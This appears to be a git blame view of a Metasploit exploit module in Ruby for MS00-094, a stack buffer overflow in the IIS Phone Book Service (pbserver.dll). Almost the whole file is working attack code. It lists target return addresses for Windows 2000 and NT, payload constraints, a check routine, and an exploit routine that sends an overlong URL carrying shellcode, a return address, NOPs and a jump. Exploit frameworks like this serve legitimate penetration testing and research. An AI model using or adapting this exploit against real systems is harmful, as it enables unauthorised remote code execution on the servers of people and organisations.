Files
metasploit-gs/modules/exploits/windows/isapi/ms00_094_pbserver.rb
T

80 lines
2.3 KiB
Ruby
Raw Normal View History

2008-08-10 10:12:45 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-08-10 10:12:45 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = GoodRanking
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::HttpClient
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
2014-03-28 20:56:53 -05:00
'Name' => 'MS00-094 Microsoft IIS Phone Book Service Overflow',
2013-08-30 16:28:54 -05:00
'Description' => %q{
This is an exploit for the Phone Book Service /pbserver/pbserver.dll
described in MS00-094. By sending an overly long URL argument
for phone book updates, it is possible to overwrite the stack. This
module has only been tested against Windows 2000 SP1.
},
2017-11-09 03:00:24 +11:00
'Author' => [ 'aushack' ],
2013-08-30 16:28:54 -05:00
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2000-1089' ],
[ 'OSVDB', '463' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '2048' ],
[ 'MSB', 'MS00-094' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 896,
'BadChars' => "\x00\x0a\x0d\x20%&=?",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
],
'DisclosureDate' => 'Dec 04 2000',
'DefaultTarget' => 0))
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('URL', [ true, "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
])
2013-08-30 16:28:54 -05:00
end
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
def check
print_status("Requesting the vulnerable ISAPI path...")
res = send_request_raw({
'uri' => normalize_uri(datastore['URL'])
}, 5)
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
if (res and res.code == 400)
2014-01-20 14:26:10 -06:00
return Exploit::CheckCode::Detected
2013-08-30 16:28:54 -05:00
end
return Exploit::CheckCode::Safe
end
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
def exploit
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
print_status("Sending overflow...")
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
res = send_request_raw({
'uri' => normalize_uri(datastore['URL']) + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
}, 5)
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
handler
2008-08-10 10:12:45 +00:00
2013-08-30 16:28:54 -05:00
end
end